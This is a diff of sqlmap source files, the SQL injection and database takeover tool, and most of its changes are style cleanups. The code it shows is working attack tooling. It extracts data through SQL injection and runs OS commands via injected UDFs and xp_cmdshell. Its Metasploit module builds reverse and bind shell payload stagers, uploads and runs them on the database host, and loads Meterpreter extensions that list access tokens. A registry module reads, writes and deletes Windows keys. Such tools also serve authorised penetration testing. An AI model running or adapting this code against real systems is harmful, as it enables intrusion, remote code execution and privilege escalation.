@ -221,7 +216,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||||
countedExpression = countedExpression[:untilOrderChar]
|
countedExpression = countedExpression[:untilOrderChar]
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
count = resume(countedExpression, payload)
|
count = resume(countedExpression, payload)
|
||||||
|
|
||||||
if not stopLimit:
|
if not stopLimit:
|
||||||
|
@ -231,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
if count and count.isdigit() and int(count) > 0:
|
if count and count.isdigit() and int(count) > 0:
|
||||||
count = int(count)
|
count = int(count)
|
||||||
|
|
||||||
if batch == True:
|
if batch:
|
||||||
stopLimit = count
|
stopLimit = count
|
||||||
else:
|
else:
|
||||||
message = "the SQL query provided can return "
|
message = "the SQL query provided can return "
|
||||||
|
@ -314,7 +309,6 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
|
|
||||||
return returnValue
|
return returnValue
|
||||||
|
|
||||||
|
|
||||||
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||||
|
@ -330,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
)
|
)
|
||||||
|
|
||||||
if condition and resumeValue == True:
|
if condition and resumeValue:
|
||||||
output = resume(expression, None)
|
output = resume(expression, None)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
|
@ -344,7 +338,6 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
"""
|
"""
|
||||||
Called each time sqlmap inject a SQL query on the SQL injection
|
Called each time sqlmap inject a SQL query on the SQL injection
|
||||||
|
@ -382,7 +375,6 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def goStacked(expression, silent=False):
|
def goStacked(expression, silent=False):
|
||||||
expression = cleanQuery(expression)
|
expression = cleanQuery(expression)
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import socket
|
import socket
|
||||||
import urllib
|
import urllib
|
||||||
|
@ -31,11 +29,9 @@ import urllib2
|
||||||
|
|
||||||
from lib.core.settings import PYVERSION
|
from lib.core.settings import PYVERSION
|
||||||
|
|
||||||
|
|
||||||
if PYVERSION >= "2.6":
|
if PYVERSION >= "2.6":
|
||||||
import ssl
|
import ssl
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
_ports = {"http" : 80, "https" : 443}
|
_ports = {"http" : 80, "https" : 443}
|
||||||
|
|
||||||
|
@ -65,7 +61,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
|
|
||||||
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||||
|
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
httplib.HTTPConnection.connect(self)
|
httplib.HTTPConnection.connect(self)
|
||||||
|
|
||||||
|
@ -91,7 +86,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
if line == "\r\n":
|
if line == "\r\n":
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
default_port = 443
|
default_port = 443
|
||||||
|
|
||||||
|
@ -111,7 +105,6 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||||
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
|
@ -124,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
|
|
||||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -34,7 +32,6 @@ from lib.core.shell import autoCompletion
|
||||||
from lib.takeover.udf import UDF
|
from lib.takeover.udf import UDF
|
||||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||||
|
|
||||||
|
|
||||||
class Abstraction(UDF, xp_cmdshell):
|
class Abstraction(UDF, xp_cmdshell):
|
||||||
"""
|
"""
|
||||||
This class defines an abstraction layer for OS takeover functionalities
|
This class defines an abstraction layer for OS takeover functionalities
|
||||||
|
@ -47,7 +44,6 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
UDF.__init__(self)
|
UDF.__init__(self)
|
||||||
xp_cmdshell.__init__(self)
|
xp_cmdshell.__init__(self)
|
||||||
|
|
||||||
|
|
||||||
def __cmdShellCleanup(self):
|
def __cmdShellCleanup(self):
|
||||||
if not conf.cleanup:
|
if not conf.cleanup:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
@ -60,7 +56,6 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
self.udfExecCmd(cmd, silent=silent)
|
self.udfExecCmd(cmd, silent=silent)
|
||||||
|
@ -72,7 +67,6 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def evalCmd(self, cmd, first=None, last=None):
|
def evalCmd(self, cmd, first=None, last=None):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
return self.udfEvalCmd(cmd, first, last)
|
return self.udfEvalCmd(cmd, first, last)
|
||||||
|
@ -84,7 +78,6 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def runCmd(self, cmd):
|
def runCmd(self, cmd):
|
||||||
getOutput = None
|
getOutput = None
|
||||||
|
|
||||||
|
@ -105,7 +98,6 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
if not conf.osShell and not conf.cleanup:
|
if not conf.osShell and not conf.cleanup:
|
||||||
self.__cmdShellCleanup()
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
|
|
||||||
def absOsShell(self):
|
def absOsShell(self):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
infoMsg = "going to use injected sys_eval and sys_exec "
|
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||||
|
@ -153,14 +145,13 @@ class Abstraction(UDF, xp_cmdshell):
|
||||||
|
|
||||||
self.__cmdShellCleanup()
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
|
|
||||||
def initEnv(self, mandatory=True, detailed=False):
|
def initEnv(self, mandatory=True, detailed=False):
|
||||||
if self.envInitialized is True:
|
if self.envInitialized:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.checkDbmsOs(detailed)
|
self.checkDbmsOs(detailed)
|
||||||
|
|
||||||
if self.isDba() == False:
|
if not self.isDba():
|
||||||
warnMsg = "the functionality requested might not work because "
|
warnMsg = "the functionality requested might not work because "
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import stat
|
import stat
|
||||||
|
@ -131,7 +129,6 @@ class Metasploit:
|
||||||
"reverse": "local port number",
|
"reverse": "local port number",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
opSys = "windows"
|
opSys = "windows"
|
||||||
|
@ -177,21 +174,18 @@ class Metasploit:
|
||||||
|
|
||||||
return choice
|
return choice
|
||||||
|
|
||||||
|
|
||||||
def __selectSMBPort(self):
|
def __selectSMBPort(self):
|
||||||
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
||||||
|
|
||||||
|
|
||||||
def __selectEncoder(self, encode=True):
|
def __selectEncoder(self, encode=True):
|
||||||
if isinstance(encode, str):
|
if isinstance(encode, str):
|
||||||
return encode
|
return encode
|
||||||
|
|
||||||
elif kb.os == "Windows" and encode is True:
|
elif kb.os == "Windows" and encode:
|
||||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||||
|
|
||||||
|
|
||||||
def __selectPayload(self, askChurrasco=True):
|
def __selectPayload(self, askChurrasco=True):
|
||||||
if kb.os == "Windows" and conf.privEsc == True:
|
if kb.os == "Windows" and conf.privEsc:
|
||||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||||
infoMsg += "it is the only payload that can abuse Windows "
|
infoMsg += "it is the only payload that can abuse Windows "
|
||||||
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||||
|
@ -229,7 +223,7 @@ class Metasploit:
|
||||||
warnMsg += "or the Administrator is not logged in"
|
warnMsg += "or the Administrator is not logged in"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if choose == True:
|
if choose:
|
||||||
message = "what do you want to do?\n"
|
message = "what do you want to do?\n"
|
||||||
message += "[1] Give it a try anyway\n"
|
message += "[1] Give it a try anyway\n"
|
||||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||||
|
@ -254,7 +248,7 @@ class Metasploit:
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif askChurrasco is False:
|
elif not askChurrasco:
|
||||||
logger.warn("beware that the VNC injection might not work")
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
break
|
break
|
||||||
|
@ -262,7 +256,7 @@ class Metasploit:
|
||||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
uploaded = self.uploadChurrasco()
|
uploaded = self.uploadChurrasco()
|
||||||
|
|
||||||
if uploaded == False:
|
if not uploaded:
|
||||||
warnMsg = "beware that the VNC injection "
|
warnMsg = "beware that the VNC injection "
|
||||||
warnMsg += "might not work"
|
warnMsg += "might not work"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -277,13 +271,11 @@ class Metasploit:
|
||||||
|
|
||||||
return __payloadStr
|
return __payloadStr
|
||||||
|
|
||||||
|
|
||||||
def __selectPort(self):
|
def __selectPort(self):
|
||||||
for connType, connStr in self.__portData.items():
|
for connType, connStr in self.__portData.items():
|
||||||
if self.connectionStr.startswith(connType):
|
if self.connectionStr.startswith(connType):
|
||||||
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
||||||
|
|
||||||
|
|
||||||
def __selectRhost(self):
|
def __selectRhost(self):
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||||
|
@ -300,9 +292,8 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
|
||||||
def __selectLhost(self):
|
def __selectLhost(self):
|
||||||
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
|
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
|
||||||
message = "which is the local address? [%s] " % self.localIP
|
message = "which is the local address? [%s] " % self.localIP
|
||||||
address = readInput(message, default=self.localIP)
|
address = readInput(message, default=self.localIP)
|
||||||
|
|
||||||
|
@ -317,11 +308,9 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
|
||||||
def __selectConnection(self):
|
def __selectConnection(self):
|
||||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||||
|
|
||||||
|
|
||||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||||
self.connectionStr = self.__selectConnection()
|
self.connectionStr = self.__selectConnection()
|
||||||
self.lhostStr = self.__selectLhost()
|
self.lhostStr = self.__selectLhost()
|
||||||
|
@ -335,7 +324,6 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
|
@ -355,11 +343,9 @@ class Metasploit:
|
||||||
|
|
||||||
self.__cliCmd += " E"
|
self.__cliCmd += " E"
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleCmd(self):
|
def __forgeMsfConsoleCmd(self):
|
||||||
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleResource(self):
|
def __forgeMsfConsoleResource(self):
|
||||||
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||||
|
|
||||||
|
@ -386,7 +372,6 @@ class Metasploit:
|
||||||
self.resourceFp.write(self.__resource)
|
self.resourceFp.write(self.__resource)
|
||||||
self.resourceFp.close()
|
self.resourceFp.close()
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
|
@ -406,7 +391,6 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
self.__payloadCmd += " X > %s" % outFile
|
self.__payloadCmd += " X > %s" % outFile
|
||||||
|
|
||||||
|
|
||||||
def __runMsfCli(self, exitfunc):
|
def __runMsfCli(self, exitfunc):
|
||||||
self.__forgeMsfCliCmd(exitfunc)
|
self.__forgeMsfCliCmd(exitfunc)
|
||||||
|
|
||||||
|
@ -417,7 +401,6 @@ class Metasploit:
|
||||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
|
||||||
def __runMsfConsole(self):
|
def __runMsfConsole(self):
|
||||||
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -425,7 +408,6 @@ class Metasploit:
|
||||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
|
||||||
def __runMsfShellcodeRemote(self):
|
def __runMsfShellcodeRemote(self):
|
||||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||||
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||||
|
@ -433,7 +415,6 @@ class Metasploit:
|
||||||
|
|
||||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||||
|
|
||||||
|
|
||||||
def __runMsfPayloadRemote(self):
|
def __runMsfPayloadRemote(self):
|
||||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||||
infoMsg += "remotely, wait.."
|
infoMsg += "remotely, wait.."
|
||||||
|
@ -444,7 +425,7 @@ class Metasploit:
|
||||||
|
|
||||||
cmd = "%s &" % self.exeFilePathRemote
|
cmd = "%s &" % self.exeFilePathRemote
|
||||||
|
|
||||||
if self.cmdFromChurrasco == True:
|
if self.cmdFromChurrasco:
|
||||||
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
@ -452,7 +433,6 @@ class Metasploit:
|
||||||
|
|
||||||
self.execCmd(cmd, silent=True)
|
self.execCmd(cmd, silent=True)
|
||||||
|
|
||||||
|
|
||||||
def __loadMetExtensions(self, proc, metSess):
|
def __loadMetExtensions(self, proc, metSess):
|
||||||
if kb.os != "Windows":
|
if kb.os != "Windows":
|
||||||
return
|
return
|
||||||
|
@ -468,7 +448,7 @@ class Metasploit:
|
||||||
proc.stdin.write("use priv\n")
|
proc.stdin.write("use priv\n")
|
||||||
proc.stdin.write("use sniffer\n")
|
proc.stdin.write("use sniffer\n")
|
||||||
|
|
||||||
if conf.privEsc == True:
|
if conf.privEsc:
|
||||||
print
|
print
|
||||||
|
|
||||||
infoMsg = "displaying the list of Access Tokens availables. "
|
infoMsg = "displaying the list of Access Tokens availables. "
|
||||||
|
@ -478,7 +458,6 @@ class Metasploit:
|
||||||
|
|
||||||
proc.stdin.write("list_tokens -u\n")
|
proc.stdin.write("list_tokens -u\n")
|
||||||
|
|
||||||
|
|
||||||
def __controlMsfCmd(self, proc, func):
|
def __controlMsfCmd(self, proc, func):
|
||||||
stdin_fd = sys.stdin.fileno()
|
stdin_fd = sys.stdin.fileno()
|
||||||
setNonBlocking(stdin_fd)
|
setNonBlocking(stdin_fd)
|
||||||
|
@ -536,7 +515,6 @@ class Metasploit:
|
||||||
|
|
||||||
return returncode
|
return returncode
|
||||||
|
|
||||||
|
|
||||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -578,9 +556,8 @@ class Metasploit:
|
||||||
|
|
||||||
os.unlink(self.__shellcodeFilePath)
|
os.unlink(self.__shellcodeFilePath)
|
||||||
|
|
||||||
|
|
||||||
def createMsfPayloadStager(self, initialize=True):
|
def createMsfPayloadStager(self, initialize=True):
|
||||||
if initialize == True:
|
if initialize:
|
||||||
infoMsg = ""
|
infoMsg = ""
|
||||||
else:
|
else:
|
||||||
infoMsg = "re"
|
infoMsg = "re"
|
||||||
|
@ -608,10 +585,10 @@ class Metasploit:
|
||||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
self.__fileFormat = "elf"
|
self.__fileFormat = "elf"
|
||||||
|
|
||||||
if initialize == True:
|
if initialize:
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
|
|
||||||
if self.payloadStr == None:
|
if self.payloadStr is None:
|
||||||
self.__prepareIngredients()
|
self.__prepareIngredients()
|
||||||
|
|
||||||
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||||
|
@ -657,7 +634,6 @@ class Metasploit:
|
||||||
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def uploadMsfPayloadStager(self):
|
def uploadMsfPayloadStager(self):
|
||||||
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||||
|
|
||||||
|
@ -666,9 +642,8 @@ class Metasploit:
|
||||||
|
|
||||||
os.unlink(self.exeFilePathLocal)
|
os.unlink(self.exeFilePathLocal)
|
||||||
|
|
||||||
|
|
||||||
def pwn(self, goUdf=False):
|
def pwn(self, goUdf=False):
|
||||||
if goUdf is True:
|
if goUdf:
|
||||||
exitfunc = "thread"
|
exitfunc = "thread"
|
||||||
func = self.__runMsfShellcodeRemote
|
func = self.__runMsfShellcodeRemote
|
||||||
else:
|
else:
|
||||||
|
@ -684,10 +659,9 @@ class Metasploit:
|
||||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if goUdf is False:
|
if not goUdf:
|
||||||
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
|
||||||
def smb(self):
|
def smb(self):
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||||
|
@ -708,7 +682,6 @@ class Metasploit:
|
||||||
|
|
||||||
os.unlink(self.resourceFile)
|
os.unlink(self.resourceFile)
|
||||||
|
|
||||||
|
|
||||||
def bof(self):
|
def bof(self):
|
||||||
self.__runMsfCli(exitfunc="seh")
|
self.__runMsfCli(exitfunc="seh")
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
@ -31,7 +29,6 @@ from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
|
||||||
class Registry:
|
class Registry:
|
||||||
"""
|
"""
|
||||||
This class defines methods to read and write Windows registry keys
|
This class defines methods to read and write Windows registry keys
|
||||||
|
@ -47,7 +44,7 @@ class Registry:
|
||||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||||
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||||
|
|
||||||
if parse == True:
|
if parse:
|
||||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||||
else:
|
else:
|
||||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||||
|
@ -67,7 +64,6 @@ class Registry:
|
||||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def __createLocalBatchFile(self):
|
def __createLocalBatchFile(self):
|
||||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||||
|
|
||||||
|
@ -83,7 +79,6 @@ class Registry:
|
||||||
|
|
||||||
self.__batPathFp.close()
|
self.__batPathFp.close()
|
||||||
|
|
